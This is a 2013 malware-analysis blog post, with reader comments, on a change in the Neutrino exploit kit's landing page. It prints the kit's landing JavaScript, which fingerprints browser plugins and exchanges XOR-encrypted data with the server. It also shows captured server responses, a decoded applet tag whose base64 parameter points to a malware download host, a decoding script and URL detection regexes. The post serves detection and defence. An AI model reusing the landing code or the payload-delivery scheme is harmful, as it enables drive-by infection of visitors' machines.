Monday, July 29, 2013

Yet another encounter with Neutrino EK


Neutrino has worked its way to be my favourite EK. No good reason for it but it is a nice kit to analyze. As I got pinged on a case from @node5 via @MalwareMustDie once again I got curious if there where changes. And since I have been quite busy lately I thought it would be a good opportunity to write up a small analysis so my blog would not die off entirely.

Any changes? The landing has changed since my last analysis, but our good folks over at MMD have taken care of that update in their "Knockin' on Neutrino Exploit Kit's door..."

So to the case at hand:
@node5 saw a change in the landing on the 26th of July (pastebin) cleaned up and explained by MalwareMustDie (pastebin)  Added here for completeness:

// #MalwareMustDie!
// My personal note..
// New form of Neutrino EK landing page?
// A quest! Where's the XOR data now? :-D
 
 
<script src='xsvhwjx.js'></script>
<script src='qmqsfiutp.js'>
</script><script src='hrcl.js'></script>
<link href='xbbcukphokdo.css' rel='stylesheet'>
<link href='nhpgbsrcogf.css' rel='stylesheet'>
<link href='bbehoufqwh.css' rel='stylesheet'>
 
<script src='gdhclsjileqh.js'></script>
<script src='nrezixfqsy.js'></script>
<script src='sgxvswm.js'></script>
<script src='ztblmkuxokfcyxgy.js'></script>
<script type="text/javascript" src="index.js"></script> // <=== @malwaremustdie: Plugindetect??
<script src='dwwccp.js'></script>
<script src='zkbvwzvq.js'></script>
 
 
<script>
 $(document).ready(function()
 {
   rq(
        "51f2394faaa2cc390a075f4c",
        "eyhuui",        // <== @malforsec & @malwaremustdie: OK this is the key :-)
        "uvkotuiae",    // <=== @malwaremustdie: POST command value
        "ngrdddfrrlrzro",
        "gfsjmndvvz"
     )
 }
 );
 function rq(a,c,f,e,g)
 {
   var d=PluginDetect.getVersion,b=[];  // // <== @malwaremustdie: PoC of PluginDetect v0.8.0
   b.push("hid:::"+a);
   b.push("adobe_reader:::"+d("AdobeReader"));
   b.push("java:::"+d("Java"));
   b.push("flash:::"+d("Flash"));
   b.push("quick_time:::"+d("QuickTime"));
   b.push("real_player:::"+d("RealPlayer"));
   b.push("shockwave:::"+d("Shockwave"));
   b.push("silver_light:::"+d("Silverlight"));
   b.push("vlc:::"+d("VLC"));
   b.push("wmp:::"+d("WMP"));
   b.push("office:::"+office_ver());
   a={};
   a[e]=c;                                        // <=== c = "51f2394faaa2cc390a075f4c"
   a[g]=encodeURIComponent(www(b.join(";;;"),c));  // <== @malwaremustdie: Assembling the POST query.
   $.post(f,a,function(a,
   b)
   {
     $("body").append(www(decodeURIComponent(a),c)) // <== @malwaremustdie: A DAT www is XOR function.
   }
   )
 }
 function www(a,c)        // <=== @malwaremustdie: XOR function name in camouflaged
 {                      
   for(var f="",e=0,g=0,e=0;e<a.length;e++) // <=== @malwaremustdie: XOR logic
       g=Math.floor(e%c.length),
       f+=String.fromCharCode(a.charCodeAt(e)^c.charCodeAt(g));
   return f
 }
 function office_ver()
 {
   var a=0,c=0;
   try
   {
     a=new ActiveXObject("SharePoint.OpenDocuments.4")
   }
   catch(f)
   {
   }
   try
   {
     c=new ActiveXObject("SharePoint.OpenDocuments.3")
   }
   catch(e)
   {
   }  // <=== @malwaremustdie: here goes the exploit payloads access...
   return"object"==typeof a&&"object"==typeof c?"2010":"number"==typeof a&&"object"==typeof c?"2007":null
 };
 
</script>
 
 
----
#MalwareMustDie!
@unixfreaxjp ~]$ date
Sat Jul 27 01:17:40 JST 2013


Small changes as we still can see the Host id, xor key and the end of the post url is still in there.  See my previous posts on the landing "Neutrino landing page demystified" and "Neutrino landing page change". Also we still see lots of rubbish GET requests.
As I got pcap on this lets go through it:

Landing:


POST request:


 Info from the PluginDetect is Posted to the server xored and URLencoded.
The answer gzip decoded:


 Y%18%18%05%19%0C%11Y%09%07%16%01%0C%0F%0DHR%01%11%0D%18OZF%0D%1A%0B%04%1F%1F%08%17%01%0C%1B%10%15%1A%0B%0C%5B%0D%0B%0A%09%19%1C%08%16W%0B%1A%18S%5DIXEZ%04%1F%1B%1A%05%18%0B%0B%03%0DJ%19%06%0B%13%02%19%0C%08%03%0F%0AH%16%0A%09%0D%0A%0D%11%0E%0D%5EH%16%1A%0DDO4%05%05BY%1F%1C%11%1D%0DDODENE%11%0D%1C%12%01%11DODEN%5Bsa%7C%7C%60lE%18%14%07%08%08Y%06%14%18%0CX%5E%0D%0D%10%0ABY%1E%14%19%1CDO%14%3D%3BU%1A%2C%1A%03%25W%11%02%2CF%2F%14%1D%05D%08%3D%15%1D%10-%2B%0F%20%5B%1E3%22L%12%2C%22%11%15%20080W%40%1C%3A%1F%0E%124%2C4%03%08%0B3%1D%16G%1D%13%1A%5B%1DC%0B%22%0EG%172%5C%0F%1B%5B%05%190%0B%15%18%11G%5CW%29%3F%3B%1F%0B-%2B%01%102%3B%0B%18%29HHN%5Bsa%7C%7C%60lE%18%14%07%08%08Y%06%14%18%0CX%5E%10%1E%10%10BY%1E%14%19%1CDO%07%06%1A%13%5EV%7F%7C%60lpTZ%14%19%15%15%0D%01Kclp


This is also xored and UrlEncoded. I have made a nice little Javascript to decode the answer:


@malforsec JS to decode Neutrino POST answers
function xor(input, pass) {
  var output = "";
  var i = 0;
  var pos = 0;
  for (i = 0; i < input.length; i++){
    pos = Math.floor(i%pass.length);
    output += String.fromCharCode(input.charCodeAt(i) ^ pass.charCodeAt(pos));
  }
  return output;
}

var stranswer = "Y%18%18%05%19%0C%11Y%09%07%16%01%0C%0F%0DHR%01%11%0D%18OZF%0D%1A%0B%04%1F%1F%08%17%01%0C%1B%10%15%1A%0B%0C%5B%0D%0B%0A%09%19%1C%08%16W%0B%1A%18S%5DIXEZ%04%1F%1B%1A%05%18%0B%0B%03%0DJ%19%06%0B%13%02%19%0C%08%03%0F%0AH%16%0A%09%0D%0A%0D%11%0E%0D%5EH%16%1A%0DDO4%05%05BY%1F%1C%11%1D%0DDODENE%11%0D%1C%12%01%11DODEN%5Bsa%7C%7C%60lE%18%14%07%08%08Y%06%14%18%0CX%5E%0D%0D%10%0ABY%1E%14%19%1CDO%14%3D%3BU%1A%2C%1A%03%25W%11%02%2CF%2F%14%1D%05D%08%3D%15%1D%10-%2B%0F%20%5B%1E3%22L%12%2C%22%11%15%20080W%40%1C%3A%1F%0E%124%2C4%03%08%0B3%1D%16G%1D%13%1A%5B%1DC%0B%22%0EG%172%5C%0F%1B%5B%05%190%0B%15%18%11G%5CW%29%3F%3B%1F%0B-%2B%01%102%3B%0B%18%29HHN%5Bsa%7C%7C%60lE%18%14%07%08%08Y%06%14%18%0CX%5E%10%1E%10%10BY%1E%14%19%1CDO%07%06%1A%13%5EV%7F%7C%60lpTZ%14%19%15%15%0D%01Kclp";
console.log(xor(decodeURIComponent(stranswer),"eyhuui"));

Just change the xorkey and the POST answer string and you are good to go.

This gives us readable output:

<applet archive='hxxp: //hccqjvmniynypccy.dnsalias.com:8000/mzbrpmbnze?lonjjlyafvb=ccltbxdgh' code='Apl' width='10' height='10'>
   <param name='exec' value='aHR0cDovL2hjY3Fqdm1uaXlueXBjY3kuZG5zYWxpYXMuY29tOjgwMDAvanJuc2tvc3h6bGw/bG5jb3plYnlpd252PWNjbHRieGRnaA=='>
   <param name='xkey' value='rssv'>
</applet>


The important info to take with us here is the "xkey" parameter value. We will need that to decode the binary later. So remember the value "rssv"

JAR request:


Binary request:



With little changes to Neutrino I just grabbed my python script to decode Neutrino binaries and had a look if that still worked(Just remember the xor key from the applet tags "rssv"). You can find it here

Worked like a charm :) Always nice when hard work done earlier pays off, ain't it...

For the record Virustotal results for the JAR and EXE:

JAR: 5/46  Link
EXE: 35/46 Link


Epilogue:

For those who need detailed detection of Neutrino on the network. The URL's have changed again(expect them to continue changing) as before only the first chars in GET variables and values have changed:

landing: /s[a-z0-9]{1,16}\?d[a-z0-9]{1,12}=[0-9]{7}$
JAR: /m[a-z0-9]{1,11}\?l[a-z0-9]{1,12}=([a-f0-9]{24}|[a-z]{0,9})$
EXE: /j[a-z0-9]{1,16}\?l[a-z0-9]{1,12}=([a-f0-9]{24}|[a-z]{7})$

Thanks to @node5 for providing pcap and to @MalwareMustDie for pinging me.

PS: The URL change is also confirmed with pcaps that I have received from @urlquery. Thanks for for sharing those!

UPDATE 20130807:
@Set_Abominae catched, yet another, change in the URL pattern: pastebin


Keep on having fun analysing and detecting Neutrino EK :)

3 comments:

  1. The response to the POSTs I have been seeing are not gzip encoded, and I am having trouble decoding them. Any ideas? Thanks.

    POST /umfgxz HTTP/1.1
    x-requested-with: XMLHttpRequest
    Accept-Language: en-us
    Referer: http://ugjvscksoywyncv[.]home[.]dyndns[.]org:8000/svjik?dcwotml=8839338
    Accept: */*
    Content-Type: application/x-www-form-urlencoded; charset=UTF-8
    Accept-Encoding: gzip, deflate
    User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0; DI7SP2)
    Host: ugjvscksoywyncv[.]home[.]dyndns[.]org:8000
    Content-Length: 786
    Pragma: no-cache
    Connection: Keep-Alive
    X-BlueCoat-Via: 6399566ca4c129d8

    nswegcak=jagezmxq&gohnvvlkuulazkmw=%2502%2508%2503_%2540WM%2540%250CV%2505%2506%2518%255C%2519%2510%250BS%2504%2506%251BXHHZ%2505UU%251BXCJQ%2500%2503%250A%2518%2508'%2503%250F%2500%2503%2500%2508WBK%255BQKTV%255DTAQZ%255C%2503%2516%250C%250B%2519P%255B%255DTKAM%255D_QUIK%255CHJQZ%250D%2504%250C%250CBKPPKSV%255DTB%255DZ%255C%255E%250B%2518%2511%2512%2501%253E%2513%250C%2517%2508BKPVKRV_TAQZ%255C%2517%251F%250C%2514.%251A%250D%2506%251C%251F%251FBKPPSIJAN%255D%255CWQ%255EAV%250B%2519%2505%2502%250C%2512%251B%251B%251DKP%255BVTV%255BTIFWT%255DAVC%2502%2503%250D%2511%2500%25082%2514%2518%250D%2509%2513_%2540WM%255D%255BMUUO%255CK%255DZZ%255C%255E%250C%2501%251BKP%255B%2509%2510%2516%2501CJQ%2516%250A%2515%2540WB%251F%251F%250D%250B%255EAV%2517%2517%250C%2508%2504%2500%2540WBCZPWHTTP/1.1 200 OK

    Server: nginx/1.4.2
    Date: Tue, 30 Jul 2013 13:16:42 GMT
    Content-Type: text/html; charset=UTF-8
    Transfer-Encoding: chunked
    Connection: keep-alive
    X-Powered-By: PHP/5.3.10-1ubuntu3.6

    2f4
    V%17%15%16%08%0CQ%0B%13%04%0D%13%1B%1DLM%09%13%11%0AWW%5E%1F%06%0D%13%09%0E%13%02%05%18%10%1C%14%0E%0E_%02%0E%0AT%09%01%1F%0E%0F%14K%15%1F%1FKRQWUU%15%13%18%15%1E%0CE%01%0E%09%07%06%0E%03P%08%1E%18%12%12%10%08%05%10%1D%06FG%06%15%09%1DLM1%0B%04%5DM%0F%18%0E%15%0FX%5D%5CHVJ%09%02%0C%1D%05%0CLMPWBDgqxchnY%0A%0C%0A%10%07A%09%04%17%08EV%0F%19%02%06%5DM%0E%10%06%14%02X%5D%0C0%23Z%02%23%0A%0C%21K%27%04%09%3F4J%05%10%03T%09I%08%2FD%05%0EP%15%0FJ%40%06-%0A7O%0F%15%23%1F%02%1EP%0C%0E%15%12%5C.%23%24%0D%20%3BH%1B%3B0%09K%0F%3FD%03%05%0D%5C%09%09%203_U%09%11%09K3%121%3F%27%0C%0E%16%3F%5B%05%3F%2F%15%0C%3F%09%19FYosdqxc%5D%17%04%08%0C%15Q%04%0AGJ%1A%0F%18%40E%0C%0C%14%04%0F%5C%40%0F%1A%13VTknlsdD%5E%0B%11%17%09%1F%19F%7Bch
    0

    ReplyDelete
  2. Hi,

    U are right. The web server does not gzip encode your answer

    Request decodes perfectly:
    hid:::51f7bcb1aaa2cca5090d20a5;;;adobe_reader:::10,1,0,0;;;flash:::11,5,502,110;;;java:::1,6,0,37;;;quick_time:::7,7,2,0;;;real_player:::14,0,6,666;;;shockwave:::11,6,8,638;;;silver_light:::5,1,20513,0;;;vlc:::null;;;wmp:::null;;;office:::2010

    Response decodes wrong:
    I do see "<param" in there so my first guess is that you are missing something from the response.

    Do you have pcap? Would love to see the landing page as that could be doing some other magic with the xor as well.

    please ping me on mail: malforsec( a t )gmail.com

    ReplyDelete
    Replies
    1. Had another quick look at it:

      The response seem garbled. If you add "a" to the start of the response it will start to decode: "7pplet archive='http://ugjvscksoywyncv.hom1*yndns.org:8000/xkj...."

      If you got malware from it just test your way through the response to get the xor key and you should be good to move on.

      Delete